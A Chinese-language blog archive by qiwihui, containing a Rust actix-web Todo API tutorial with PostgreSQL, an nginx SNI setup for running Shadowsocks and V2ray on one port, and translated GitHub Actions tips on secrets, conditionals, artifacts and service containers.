log="0.4"

.env 中可以手动设置日志记录级别,比如

RUST_LOG=info

main.rs

use actix_web::{get, middleware, web, App, HttpServer, Responder};

use env_logger;
use log::info;

// ...

 async fn main() -> io::Result<()> {
     dotenv().ok();
+    if std::env::var("RUST_LOG").is_err() {
+        std::env::set_var("RUST_LOG", "actix_web=info");
+    }
+    env_logger::init();
     let cfg = crate::config::Config::from_env().unwrap();
     let pool = cfg.pg.create_pool(NoTls).unwrap();
+    info!(
         "Starting server at http://{}:{}",
         cfg.server.host, cfg.server.port
     );
     HttpServer::new(move || {
         App::new()
             .data(pool.clone())
+            .wrap(middleware::Logger::default())
// ...

运行以查看日志

$ cargo run
   Compiling todo-list v0.1.0 (/Users/qiwihui/rust/todo-list)
    Finished dev [unoptimized + debuginfo] target(s) in 1m 19s
     Running `target/debug/todo-list`
[2020-10-23T06:43:18Z INFO  todo_list] Starting server at http://127.0.0.1:8000
[2020-10-23T06:43:18Z INFO  actix_server::builder] Starting 4 workers
[2020-10-23T06:43:18Z INFO  actix_server::builder] Starting "actix-web-service-127.0.0.1:8000" service on 127.0.0.1:8000
[2020-10-23T06:45:04Z INFO  actix_web::middleware::logger] 127.0.0.1:63751 "GET /todos HTTP/1.1" 200 79 "" "curl/7.64.1" 0.016465

如何获取请求体

首先,我们增加插入数据操作,sql 语句中的 returning id, title 用于返回插入成功的数据

db.rs

#![allow(unused)]
fn main() {
pub async fn create_todo(client: &Client, title: String) -> Result<TodoList, Error> {
    let statement = client
        .prepare("insert into todo_list (title) values ($1) returning id, title")
        .await
        .unwrap();

    client
        .query(&statement, &[&title])
        .await
        .expect("Error creating todo list")
        .iter()
        .map(|row| TodoList::from_row_ref(row).unwrap())
        .collect::<Vec<TodoList>>()
        .pop()
        .ok_or(Error::new(ErrorKind::Other, "Error creating todo list"))
}
}

增加请求处理,CreateTodoList 用于序列化请求的数据:

handles.rs

#![allow(unused)]

fn main() {
#[derive(Deserialize)]
pub struct CreateTodoList {
    pub title: String,
}

pub async fn create_todo(
    info: web::Json<CreateTodoList>,
    state: web::Data<AppState>,
) -> impl Responder {
    let client: Client = state
        .pool
        .get()
        .await
        .expect("Error connecting to the database");
    let result = db::create_todo(&client, info.0.title.clone()).await;
    match result {
        Ok(todo) => HttpResponse::Ok().json(todo),
        Err(_) => HttpResponse::InternalServerError().into(),
    }
}
}

其中,state: web::Data<AppState> 将 原来的 pool 做了简单的封装,好处在于可以传入多个数据作为 web::Data

// .. 省略
pub struct AppState {
    pub pool: Pool,
}

#[actix_web::main]
async fn main() -> io::Result<()> {
    // .. 省略
    HttpServer::new(move || {
        App::new()
            .data(AppState { pool: pool.clone() })

同时添加路由:

#![allow(unused)]
fn main() {
  App::new()
    // 省略
    .route("/todos{_:/?}", web::post().to(handlers::create_todo))
}

完成后运行 cargo run,在使用 curl 进行请求时,注意添加 -H "Content-Type: application/json" 头部信息,否则无法处理。

$ curl -X POST 127.0.0.1:8000/todos -d '{"title": "list 3"}' -H "Content-Type: application/json"
{"id":3,"title":"list 3"}

其他操作

继续添加其他操作,如获取创建单个项,以及完成项目(check_todo

#![allow(unused)]
fn main() {
pub async fn get_items(client: &Client, list_id: i32) -> Result<Vec<TodoItem>, Error> {
    // ...
}

pub async fn get_item(client: &Client, list_id: i32, item_id: i32) -> Result<TodoItem, Error> {
    // ...
}

pub async fn create_item(client: &Client, list_id: i32, title: String) -> Result<TodoItem, Error> {
    // ...
}

pub async fn check_todo(client: &Client, list_id: i32, item_id: i32) -> Result<bool, Error> {
    // ...
}
}

以及对应的路由和请求处理:

#![allow(unused)]
fn main() {
  .route("/todos/{list_id}/items{_:/?}", web::get().to(handlers::items))
  .route("/todos/{list_id}/items{_:/?}", web::post().to(handlers::create_item))
  .route("/todos/{list_id}/items/{item_id}{_:/?}", web::get().to(handlers::get_item))
  .route("/todos/{list_id}/items/{item_id}{_:/?}", web::put().to(handlers::check_todo))
}
#![allow(unused)]

fn main() {
pub async fn items(info: web::Path<GetTodoList>, state: web::Data<AppState>) -> impl Responder {
    // ...
}
pub async fn create_item(
    todo: web::Path<GetTodoList>,
    info: web::Json<CreateTodoItem>,
    state: web::Data<AppState>,
) -> impl Responder {
    // ...
}

pub async fn get_item(info: web::Path<GetTodoItem>, state: web::Data<AppState>) -> impl Responder {
    // ...
}
pub async fn check_todo(
    info: web::Path<GetTodoItem>,
    state: web::Data<AppState>,
) -> impl Responder {
    // ...
}

}

小结

  1. 获取路径参数
  2. 获取请求体
  3. 设置日志记录

参考文档和项目

  1. Creating a simple TODO service with Actix
  2. actix-web 官方文档
  3. 官方 actix-web 示例

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

用 Rust Actix-web 写一个 Todo 应用(一)── Hello world 和 REST 接口

Actix

actix 是 Rust 生态中的 Actor 系统。actix-web 是在 actix actor 框架和 Tokio 异步 IO 系统之上构建的高级 Web 框架。

本篇博客实践使用 actix-web 实现一个简单的 todo 应用。基本要求:了解 rust 基本语法,了解一定的 sql 和 docker 知识。

创建一个 Hello world 程序

首先,新建一个 todo-list 项目,并在其中增加 actix-web 依赖,我们使用最新的 actix 3.0。

cargo new todo-list
cd todo-list

Cargo.toml

[package]
name = "todo-list"
version = "0.1.0"
authors = ["qiwihui <qwh005007@gmail.com>"]
edition = "2018"

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

[dependencies]
actix-web = "3"

main.rs 中,使用类似于 python flask 的语法,增加一个最简单的 service。

use actix_web::{get, App, HttpServer, Responder};
use std::io::Result;

#[get("/")]
async fn hello() -> impl Responder {
    // String 实现了 Responder trait
    format!("Hello world!")
}

#[actix_web::main]
async fn main() -> Result<()> {
    println!("Starting server at http://127.0.0.1:8000");
    HttpServer::new(|| App::new().service(hello))
        .bind("127.0.0.1:8000")?
        .run()
        .await
}

运行并测试:

cargo run

在另一个终端中

$ curl 127.0.0.1:8000
Hello world!

数据库设计

项目中将使用 postgres 作为数据库存储,为了方便操作和管理,我们使用 docker-compose 进行管理。

docker-compose.yml

version: "3"

services:
  postgres:
    image: postgres:11-alpine
    container_name: postgres
    restart: always
    environment:
      POSTGRES_PASSWORD: actix
      POSTGRES_USER: actix
      POSTGRES_DB: actix
    ports:
      - 5432:5432

创建数据库:

docker-compose up -d

然后,我们设计整体数据库表结构,并创建一些基础数据作为测试。表结构如下:


 TodoList           TodoItem
                   +---------+
                   |  id     |
+-------+          +---------+
|  id   + <-- FK --+ list_id |
+-------+          +---------+
| title |          | title   |
+-------+          +---------+
                   | checked |
                   +---------+

database.sql 中手动创建表结构并插入数据:

drop table if exists todo_list;

drop table if exists todo_item;

create table todo_list (
    id serial primary key,
    title varchar(150) not null
);

create table todo_item (
    id serial primary key,
    title varchar(150) not null,
    checked boolean not null default false,
    list_id integer not null,
    foreign key (list_id) references todo_list(id)
);

insert into
    todo_list (title)
values
    ('List 1'),
    ('List 2');

insert into
    todo_item (title, list_id)
values
    ('item 1', 1),
    ('item 2', 1);

创建数据表并查看结果

$ psql -h 127.0.0.1 -p 5432 -U actix actix < database.sql 
Password for user actix: 
NOTICE:  table "todo_list" does not exist, skipping
DROP TABLE
NOTICE:  table "todo_item" does not exist, skipping
DROP TABLE
CREATE TABLE
CREATE TABLE
INSERT 0 2
INSERT 0 2
$ psql -h 127.0.0.1 -p 5432 -U actix actix
Password for user actix: 
psql (12.4, server 11.9)
Type "help" for help.

actix=# \d
              List of relations
 Schema |       Name       |   Type   | Owner 
--------+------------------+----------+-------
 public | todo_item        | table    | actix
 public | todo_item_id_seq | sequence | actix
 public | todo_list        | table    | actix
 public | todo_list_id_seq | sequence | actix
(4 rows)

actix=# select * from todo_list;
 id | title  
----+--------
  1 | List 1
  2 | List 2
(2 rows)

获取 todo 列表

首先,添加我们需要的库,其中 serde 用于序列化,tokio-postgres 是一直支持异步的 PostgreSQL 客户端,deadpool-postgres 用于连接池的管理。

[dependencies]
actix-web = "3"
serde="1.0.117"
deadpool-postgres = "0.5.0"
tokio-postgres = "0.5.1"

增加 models.rs 用于管理数据模型,并支持序列化和反序列化。

#![allow(unused)]
fn main() {
use serde::{Deserialize, Serialize};

#[derive(Serialize, Deserialize)]
pub struct TodoList {
    pub id: i32,
    pub title: String,
}

#[derive(Serialize, Deserialize)]
pub struct TodoItem {
    pub id: i32,
    pub title: String,
    pub checked: bool,
    pub list_id: i32,
}
}

增加 db.rs 用于管理数据操作,例如 get_todos 从数据库中获取数据并序列化为 TodoList 的数组:

#![allow(unused)]
fn main() {
use crate::models::{TodoItem, TodoList};
use deadpool_postgres::Client;
use std::io::Error;
use tokio_postgres::Row;

// 将每条记录转为 TodoList
fn row_to_todo(row: &Row) -> TodoList {
    let id: i32 = row.get(0);
    let title: String = row.get(1);
    TodoList { id, title }
}

pub async fn get_todos(client: &Client) -> Result<Vec<TodoList>, Error> {
    let statement = client
        .prepare("select * from todo_list order by id desc")
        .await
        .unwrap();
    let todos = client
        .query(&statement, &[])
        .await
        .expect("Error getting todo lists")
        .iter()
        .map(|row| row_to_todo(row))
        .collect::<Vec<TodoList>>();

    Ok(todos)
}

}

增加 handlers.rs 用于处理服务:

#![allow(unused)]
fn main() {
use crate::db::get_todos;
use actix_web::{web, HttpResponse, Responder};
use deadpool_postgres::{Client, Pool};

pub async fn todos(db_pool: web::Data<Pool>) -> impl Responder {
    let client: Client = db_pool
        .get()
        .await
        .expect("Error connecting to the database");
    let result = get_todos(&client).await;
    match result {
        Ok(todos) => HttpResponse::Ok().json(todos),
        Err(_) => HttpResponse::InternalServerError().into(),
    }
}
}

最后,在 main.rs 中创建连接池并添加路由:

mod db;
mod handlers;
mod models;

use actix_web::{get, web, App, HttpServer, Responder};
use deadpool_postgres;
use handlers::todos;
use std::io;
use tokio_postgres::{self, NoTls};

#[get("/")]
async fn hello() -> impl Responder {
    format!("Hello world!")
}

#[actix_web::main]
async fn main() -> io::Result<()> {
    println!("Starting server at http://127.0.0.1:8000");
    // 创建连接池
    let mut cfg = tokio_postgres::Config::new();
    cfg.host("localhost");
    cfg.port(5432);
    cfg.user("actix");
    cfg.password("actix");
    cfg.dbname("actix");
    let mgr = deadpool_postgres::Manager::new(cfg, NoTls);
    let pool = deadpool_postgres::Pool::new(mgr, 100);
    HttpServer::new(move || {
        App::new()
            .data(pool.clone())
            .service(hello)
            .route("/todos{_:/?}", web::get().to(todos))
    })
    .bind("127.0.0.1:8000")?
    .run()
    .await
}

运行并测试:

$ cargo run

# 另一个总端,jq 用于格式化返回的 json
$ curl 127.0.0.1:8000/todos | jq
[
  {
    "id": 2,
    "title": "List 2"
  },
  {
    "id": 1,
    "title": "List 1"
  }
]

两个改进

  1. 数据库的连接信息硬编码在代码中,在实际使用中会使用环境变量进行设置

添加 .env 配置数据库连接信息和服务端口:

SERVER.HOST=127.0.0.1
SERVER.PORT=8000
PG.USER=actix
PG.PASSWORD=actix
PG.HOST=127.0.0.1
PG.PORT=5432
PG.DBNAME=actix
PG.POOL.MAX_SIZE=30

同时,通过环境变量获取对应配置。首先增加 dotenvconfig 依赖:

[dependencies]
# ... 省略
dotenv = "0.15.0"
config = "0.10.1"

然后增加 config.rs,增加从环境变量中获取配置并生成连接池方法 from_env

#![allow(unused)]
fn main() {
use config::{self, ConfigError};
use serde::Deserialize;

#[derive(Deserialize, Debug)]
pub struct ServerConfig {
    pub host: String,
    pub port: i32,
}

#[derive(Deserialize, Debug)]
pub struct Config {
    pub server: ServerConfig,
    pub pg: deadpool_postgres::Config,
}

impl Config {
    pub fn from_env() -> Result<Self, ConfigError> {
        let mut cfg = config::Config::new();
        cfg.merge(config::Environment::new())?;
        cfg.try_into()
    }
}

}

main.rs 中使用环境变量创建连接池:

mod config;

use dotenv::dotenv;

// ...省略

#[actix_web::main]
async fn main() -> io::Result<()> {
    // 环境变量
    dotenv().ok();
    // 连接池
    let cfg = crate::config::Config::from_env().unwrap();
    let pool = cfg.pg.create_pool(NoTls).unwrap();
    println!(
        "Starting server at http://{}:{}",
        cfg.server.host, cfg.server.port
    );
    HttpServer::new(move || {
        App::new()
            .data(pool.clone())
            .service(hello)
            .route("/todos{_:/?}", web::get().to(todos))
    })
    .bind(format!("{}:{}", cfg.server.host, cfg.server.port))?
    .run()
    .await
}
  1. db.rsrow_to_todo 函数太麻烦,使用 tokio_pg_mapper 做处理,简化操作:
[dependencies]
# ... 省略
tokio-pg-mapper = "0.1"
tokio-pg-mapper-derive = "0.1"

models.rs 中添加 PostgresMapper

#![allow(unused)]
fn main() {
use serde::{Deserialize, Serialize};
use tokio_pg_mapper_derive::PostgresMapper;

#[derive(Serialize, Deserialize, PostgresMapper)]
#[pg_mapper(table = "todo_list")]
pub struct TodoList {
    pub id: i32,
    pub title: String,
}

#[derive(Serialize, Deserialize, PostgresMapper)]
#[pg_mapper(table = "todo_item")]
pub struct TodoItem {
    pub id: i32,
    pub title: String,
    pub checked: bool,
    pub list_id: i32,
}
}

使用 from_row_ref 方法将记录进行转换:

#![allow(unused)]

fn main() {
use tokio_pg_mapper::FromTokioPostgresRow;

pub async fn get_todos(client: &Client) -> Result<Vec<TodoList>, Error> {
    // ... 省略
    let todos = client
        .query(&statement, &[])
        .await
        .expect("Error getting todo lists")
        .iter()
        // 修改
        .map(|row| TodoList::from_row_ref(row).unwrap())
        .collect::<Vec<TodoList>>();

    Ok(todos)
}

}

小结

  1. 创建 hello world 程序;
  2. 创建数据库连接和获取数据;
  3. 使用环境变量;

参考文档和项目

  1. Creating a simple TODO service with Actix
  2. actix-web 官方文档
  3. actix/example

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

Shadowsocks 和 V2ray 共用443端口

配置过程

之前部署了 Shadowsocks 和 V2ray 在两台服务器上,最近由于费用增加,于是决定将两个服务合并到同一台服务器上,并保持原来的配置文件不变。此文简单记录。

Shadowsocks 配置了 simple-obfs 浑下,参数为 obfs=tls。V2ray 使用 nginx + tls + websocket,并使用letsencrypt自动生成 HTTPS 证书。两个均使用不同的域名访问。

主要的难点在于需要根据不同的域名将流量分发到后端不同的代理上,方法使用 Nginx 基于 SNI 的 4 层转发,即识别 SNI 信息,然后直接转发 TCP/UDP 数据流。使用的模块是 ngx_stream_ssl_preread_module,这个模块在 Nginx 1.11.5 之后才引入,注意开启。

                                     ----> shadowsocks
                                     |
客户端 --[请求]--> Nginx ----[分发]---->
                                     |
                                     ----> v2ray

为了方便部署,使用 docker-compose 完成整个部署过程,项目地址 qiwihui/ssv2ray

Nginx 关键配置:


stream {
    # SNI, domain to config
    map $ssl_preread_server_name $backend_name {
        domain1.com v2fly;
        domain2.com shadowsocks;
        # 因为使用了混淆,所以这里需要填入混淆的域名,比如 www.bing.com
        www.bing.com shadowsocks;
        default v2fly;
    }

    # v2ray
    upstream v2fly {
        server nginx-proxy:443;
    }
    upstream v2fly80 {
        server nginx-proxy:80;
    }

    # shadowsocks
    upstream shadowsocks {
        server shadowsocks:443;
    }

    # 80,这个端口用于自动生成证书
    server {
        listen 80;
        listen [::]:80;
        proxy_pass v2fly80;
    }

    server {
        listen 443 reuseport;
        listen [::]:443 reuseport;
        proxy_pass  $backend_name;
        ssl_preread on;
    }
}

参考

  1. Trojan 共用 443 端口方案

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

GitHub Actions 第20天:容器服务

很难低估容器在DevOps实践中的重要性。通常,你会将容器部署到生产环境中──因此很自然地开始使用容器进行本地开发,并管理依赖项。我们研究了如何利用它在容器内部进行构建。但是,我们也可以使用容器服务,将正在运行的容器用作构建和测试工作流程的一部分。

你通常需要运行一些与其他服务(通常是数据库)进行通信的集成测试。你可以通过编写 docker run 命令来拉下容器,启动容器并映射必要的端口,从而编写脚本,但这在最佳情况下很烦人。而且,如果你要在容器中进行构建,则自己运行docker会变得非常棘手。

使用容器服务可以使GitHub Actions基础架构为你执行。你只需指定容器和要映射的任何端口,它将在作业开始时启动服务容器,并使该容器可用于作业中的步骤。

services:
  redis:
    image: 'redis:latest'
    ports:
    - 6379/tcp

这将启动 redis:latest 容器并将容器中的端口6379映射到虚拟机运行程序上的端口。这等同于运行 docker run redis:latest -p 6379/tcp,就像你要运行该命令一样,映射到本地运行程序上的端口不是确定性的。GitHub Actions可在job.services上下文中提供此信息。

你可以查看 ${{ job.services.redis.ports[6379] }} 以标识本地端口号。(就像运行 docker run 一样,你还可以指定容器端口和本地端口,例如 6379:6379,将容器端口6379映射到本地端口6379。)

将其放入工作流中,如果我有一个 与Redis对话的 Node 脚本,并连接到 REDIS_HOST 环境变量所指定的Redis主机的 `REDIS_PORT 端口,那么我可以创建一个工作流,该工作流启动Redis容器并运行Node脚本。

你可以使用服务容器来启动服务,例如 Redis, PostgreSQL 或MySQL甚至是Selenium。服务容器的执行使工作流中的这些容器的执行和交互变得更加容易。

原文链接:https://www.edwardthomson.com/blog/github_actions_20_container_services.html

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

GitHub Actions 第19天:下载文件

昨天,我们研究了如何在工作流运行过程中上传文件,然后手动下载它们。这在许多情况下都非常有用,但是我认为使用文件的更强大的部分是使用工件在不同步骤之间传输文件。

例如:你可能有一个项目,该项目在多个平台上创建二进制文件,将这些二进制文件作为文件上载,然后发布到最后运行作业以将这些不同的二进制文件聚合到一个程序包中。

或者,你可能想散开──拥有一个创建单个文件的作业,然后在不同平台上运行多个作业以测试该文件。

在这里,我有一个测试我的本机代码的工作流程:首先,我构建本机代码测试运行器,该运行器使用 clar 单元测试框架,以便它编译一个以 testapp 命名的包含我所有单元测试的二进制文件。该二进制文件作为名为的文件上传 tests。然后,我将创建一个依赖于第一个build 作业的矩阵作业。它将使用最新版本的Ubuntu,Debian,CentOS和Alpine建立一个在容器内执行的矩阵。每个作业将下载 tests 构建作业中生成的文件,然后将设置 testapp 为可执行文件(因为文件不保留Unix权限),最后运行测试应用程序。

当我运行它时,构建将产生一个文件,并且当该构建完成时,我的测试作业将全部开始,下载该文件,然后运行它。

image

你可以看到,上传文件对于生成构建输出非常有用,你可以在后续构建步骤中下载和使用这些输出。

原文链接:https://www.edwardthomson.com/blog/github_actions_19_downloading_artifacts.html

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

GitHub Actions 第18天:文件

当你构建执行pull request验证或持续集成构建的工作流时,你通常希望获取该构建输出并保存它,以便以后使用。有时创建一个软件包并将其发布到GitHub packages之类的软件包仓库中是有意义的 。但是有时你只想将其存储为构建输出的一部分,以后可以下载。GitHub Actions允许你将文件上传为工作流的一部分,以供日后下载。

要将文件作为构建的一部分进行上传,可以使用 upload-artifact 操作。你可以指定为其创建文件的路径–你可以指定单个文件或文件夹,以及文件的名称。你指定的路径将以你指定的工件名称存档到一个zip文件中。

例如,我可以构建和测试我的项目,然后创建一个nuget包,最后将该nuget包作为文件上传。

现在,当我的工作流程运行时,我将在该运行的右上角获得一个选项,向我展示我的文件并让我下载它们。

image

将构建输出作为文件上载可以与包仓库一起使用:我喜欢将CI构建包上载到GitHub packages,并从pull request中创建工件。这使我可以选择在本地运行和测试PR验证构建──我可以将它们作为文件下载──而不会影响我的GitHub Packages帐户。如果你希望选择在本地运行,那很好,即使你很少这样做。

原文连接:https://www.edwardthomson.com/blog/github_actions_18_artifacts.html

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

GitHub Actions 第17天:依赖作业

如果你设置了包含多个作业的工作流程(无论是基于矩阵的工作流程还是只是单独定义了作业),这些作业将彼此独立地并行运行。通常,这是理想的。只要有可用的计算机即可执行你的作业。

但是有时你希望能够设置依赖于其他作业的作业。例如,你可能有一些要测试的服务。但是为了节省成本,你只想在实际运行测试时运行那些服务。因此,你可能想要一个启动服务的作业,一个运行测试的工作业,然后是一个停止服务的作业。

要指定作业之间的依赖关系,可以使用 needs 关键字指示哪些作业依赖于其他作业的完成。

现在,这似乎不是一个很好的例子–我们可能不使用单独的作业,而可能只在一个作业中完成了这三个步骤。但是使用作业可以使我们“成长”:实际上,我们可以在一个作业中设置测试基础结构,然后并行运行多个作业以对其进行测试,然后最后运行清理作业。

image

这样一来,我们就可以在多个平台上并行运行测试作业,并通过设置将这些作业预定下来,然后停止作业。我们可以通过定义我们的安装作业,然后定义依赖于它的许多作业,然后依赖于这些作业的最终的工作。这通常称为“扇出”和“扇入”。

通过此工作流程,我们的设置作业将运行,然后将使用矩阵在Windows,macOS和Linux上运行构建和测试作业,最后,我们将关闭启动的那些测试资源。

image

你可以通过相互指定作业来轻松地构建高级工作流, needs 以指定工作流的依赖关系图。

原文连接:https://www.edwardthomson.com/blog/github_actions_17_dependent_jobs.html

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

GitHub Actions 第16天:共享数据的条件

昨天,我们研究了如何在工作流步骤之一中设置自定义数据,以便在后续步骤中使用。我们通过向env上下文添加数据来做到这一点,它是一个你可以读写的属性包。

但是你不必将自己局限于仅在你的步骤中使用 env 上下文。你还可以在工作流本身中使用 env 上下文,并根据在先前步骤中设置的数据来设置条件

例如,你可能有一个每天要运行的工作流,并且你希望对该工作流在星期一的运行方式进行较小的修改。你可以使用 schedule 触发器每天运行工作流程。你可以复制该工作流程,并添加只希望在星期一运行的特殊更改。但是,呵呵,维持两个相似但只有一点点不同的工作流程是一个严重的难题。

取而代之的是,你可以查看星期几并在此基础上设置一个环境变量──在这里,我将使用bash语法运行 date 命令以打印缩写的星期几,并将其放入我的 echo 语句中,将 DAY_OF_WEEK 在我们的 env 上下文中设置变量 。然后,我将其 env.DAY_OF_WEEK 作为后续步骤的条件。

使用此配置,我将每天在世界标准时间05:00运行工作流。与今天一样,在星期一,将运行仅星期一的步骤。

image

但是在本周的剩余时间里,该步骤将被跳过。

image

这是另一个很好的例子,说明GitHub Actions如何为你提供简单的原语,你可以将它们组合在一起以创建功能强大的工作流。

原文链接:https://www.edwardthomson.com/blog/github_actions_16_conditionals_with_shared_data.html

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

GitHub Actions 第15天:在步骤之间共享数据

在 GitHub Actions 的任务中,你可以有多个步骤 ,一个接一个地运行。每个步骤可能是调用一个操作(例如,检出存储库中的代码安装特定版本的Node.js),也可能是一个 run,仅运行你提供的脚本的步骤。

但是通常你希望与之前执行的步骤进行交互,例如,你可能希望运行一个步骤来更新软件的版本号,以使其准备好发布。然后,你可能需要在实际的发布步骤中使用该版本号。

但是,如何来回获取这些数据?GitHub Actions在其自己的流程中运行你的每个步骤。这意味着你不能只在一个步骤中设置环境变量,然后在另一步骤中引用它。换句话说,这将无法正常工作:

steps:
  # 这将 **无效**。这两个 `run` 步骤被编写为
  # 作为不同的脚本并由不同的shell运行,因此
  # `FOO` 变量将不会在它们之间持久存在。
  - run: export FOO=bar
  - run: echo $FOO

但是,GitHub Actions 确实为你提供了将数据持久保存在执行环境中的工具。你可以通过写入标准输出(即,仅使用echo)来向GitHub Actions编写命令──包括指示 GitHub Actions 在后续运行步骤中设置环境变量的命令

在当前shell中设置环境变量之后,可以对GitHub Actions 使用命令 set-env ,这将是环境变量被注入到以后的步骤中:

steps:
  # 这将会在第一个 `run` 脚本中设置 `FOO` 环境变量。
  # 然后指示 GitHub Actions 在随后的运行步骤中使其可用。
  - run: |
      export FOO=bar
      echo "::set-env name=FOO::$FOO"
  - run: echo $FOO

现在,实际上可以在后续步骤中获取环境变量 FOO 中的数据。

image

GitHub Actions将这些步骤作为单独的脚本运行──这意味着在单独的Shell调用中运行并每次都获得原始环境。但是,使用GitHub Actions平台内的开发工具,你可以在调用之间共享数据。

原文链接:https://www.edwardthomson.com/blog/github_actions_15_sharing_data_between_steps.html

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

GitHub Actions 第14天:矩阵条件

GitHub Actions 具有许多强大的组件,但是当你开始一起使用它们时,事情就开始变得真正强大。例如:矩阵工作流使你可以轻松地将简单的工作流扩展到多个不同的作业。通过条件执行,你可以限制作业中步骤的执行。

这两个功能很自然地结合在一起──当你跨不同的操作系统,平台或语言版本构建矩阵时,可能只需要在该矩阵的一个子集上运行一些步骤。例如:在Linux上运行时,可能需要安装其他编译器,或者对于不同的操作系统,可能需要安装稍有不同的依赖项。

我可以结合一些以前的概念来为我的一个项目(C语言中的系统库)构建工作流。它将使用跨平台工具安装矩阵工作流来执行CI的构建和测试步骤。

目标是安装Ninja构建系统,然后使用CMake创建构建脚本以利用这一优势──CMake和Ninja可以很好地协同工作,以生成快速,跨平台的本机构建。最后,我们将使用 cmake 进行构建,并使用 ctest 进行测试。

运行此命令时,条件将确保仅对特定平台运行适当的“安装依赖项”步骤。其他平台的其他步骤将被跳过。

image

现在,我们开始了解如何将GitHub Actions的简单片段组合到更复杂,功能更强大的工作流程中。

原文链接:https://www.edwardthomson.com/blog/github_actions_14_conditionals_with_a_matrix.html

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

GitHub Actions 第13天:条件

昨天我们看到,当你运行工作流程时,有许多可用数据。你可以在run步骤中使用这些数据,并将其与构建脚本,部署步骤或存储库自动化一起使用。但是你也可以在工作流本身中使用它。

利用这些数据的一种有用方法是有条件地使用它来运行工作流步骤

例如,你可能想在执行步骤之前检查工作流在其中运行的存储库的名称。如果你正在开发一个开源项目,这将很有帮助──因为fork你的存储库的人拥有具有不同权限的令牌,因此你可以跳过fork的发布步骤。

这使fork的存储库仍可以执行连续的集成构建,并确保在运行构建和测试通过时工作流成功,并且不会由于发布步骤上的权限问题而失败。

你可以设置一个条件,以确保你位于正确的存储库上并在CI构建中运行(来自push事件)。

现在,当此工作流在fork中运行时,将跳过“发布文档”步骤。

image

使用条件语句使你可以构建可在分支或分支之间共享的高级工作流,但其中某些步骤是针对特定触发器或环境量身定制的。

原文链接:https://www.edwardthomson.com/blog/github_actions_13_conditionals.html

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

GitHub Actions 第12天:有关工作流程的信息

昨天我们看到GitHub为GitHub Actions工作流运行提供了一些信息,即 GITHUB_TOKEN。但这还不是全部。GitHub Actions还为你提供什么其他信息?

其实很多!

GitHub Actions 设置了许多信息“上下文”,其中包含有关你的工作流程运行的数据。例如,github 上下文包含信息,例如你的工作流在其中运行的存储库的名称 github.repository,启动工作流的用户 github.actor。你可以使用与 处理矩阵密码 相同的双弯括号扩展语法来引用它们。

image

如果你想在上下文中查看GitHub Actions提供的所有信息,则可以实际使用方便的 toJson 函数来输出整个对象:

image

如果这样做,你会注意到GitHub上下文中有很多信息。特别是,github.event 对象本身就是一块巨大的json数据。它基本上包含与触发器相对应的 Webhook 信息

相同的事件信息已保存到磁盘上的 github.event_path。因此,你可以通过检查json blob来获取工作流程中的所有信息。幸运的是,非常方便的 jq 工具已安装在 runner 上。你可以使用它在命令行上分解json数据。

例如,如果我想获取存储库中的星标数量和fork数量,则可以 jq 用来解压缩保存在的json数据 github.event_path

image

GitHub Actions提供了大量有关存储库,触发运行的操作以及环境的数据,所有这些使你能够创建工作流以构建应用程序,部署应用程序或自动执行存储库中的某些任务。

原文链接:https://www.edwardthomson.com/blog/github_actions_12_information_about_your_workflow.html

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

GitHub Actions 第11天:密码(Secrets)

昨天我们建立了一个基于改变路径触发的工作流; 它的目标是发布文档。如果仔细看,在工作流程的底部,我们引用了一个变量。看起来有点像我们引用矩阵变量的方式 ,而这里引用了一个密码。

在部署场景中,你通常会需要令牌或密码之类的东西──GitHub Actions支持将这些作为密码保存在存储库中。

要设置密码,请转到“存储库设置”页面,然后选择“密码”。你的密码名称将在你的工作流中用于引用数据,你可以将密码本身放入值中。

image

要使用该密码,你可以在工作流中使用上下文 secrets 来引用它。如果你有一个密码的名字 SECRET_KEY,你可以将其称为 ${{secret.SECRET_KEY}}

GITHUB_TOKEN

GitHub Actions会为每次运行的工作流自动在存储库中设置一个密码 GITHUB_TOKEN。该令牌使你可以与存储库进行交互,而无需自己创建新令牌或设置密码。

该令牌为你提供了对存储库本身,issue和GitHub Packages进行读写的有限访问权限。但是它不能完全访问所有内容──你无法与组织中的其他存储库一起使用,也无法发布到GitHub Pages──因此,对于某些工作流,你可能仍需要设置令牌。

密码安全

GitHub试图防止你的密码被窥视。在输出日志中,你定义的所有密码都会被清除,并在输出日志之前用星号替换。

image

这有助于保护你的密码,防止他人窥视,尤其是利用那些导出值的工具。但这当然不是完美的,你应该谨慎保护密码。

Forks

如果你的项目使用fork来接受来自贡献者的pull request(例如,如果你正在开发一个开源项目),则可能对在工作流程中使用密码有所警惕。

GitHub明确 禁用 了对来自fork的工作流提供密码的功能。这意味着,当用户从fork打开对你的项目的pull request时,不会向此工作流提供任何密码。

image

这有助于防止用户修改工作流程本身──或工作流程调用的任何脚本──试图获取你的密码副本。这些密码根本无法获得。

GITHUB_TOKEN仍然为fork提供了特殊功能,以便它们可以克隆你的存储库(以便构建它),但已将其降级为只读令牌,以防止fork工作流在你的存储库中进行更改。)

原文链接:https://www.edwardthomson.com/blog/github_actions_11_secrets.html

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

GitHub Actions 第10天:路径触发器

前面我们看到可以限制基于分支过滤器的工作流运行。对于由 pushpull_request 触发的工作流,你可以对其进行限制,以使其仅在推送到特定分支或针对特定分支打开 pull request 时才触发。

你还可以限制这些工作流,以便仅在推送特定路径时才触发它们。

如果你在提交某些东西时会运行一些自动化功能,这将非常有用。例如:在我的一个开源项目中,每次将提交合并到master分支中时,我们都会将文档发布到我们的网站上。但是,我们只想在文档实际更改时运行该工作流程。

在这种情况下,我们希望docs在master分支中目录中的任何内容更改时运行。我们可以使用通配符作为路径过滤器的一部分:

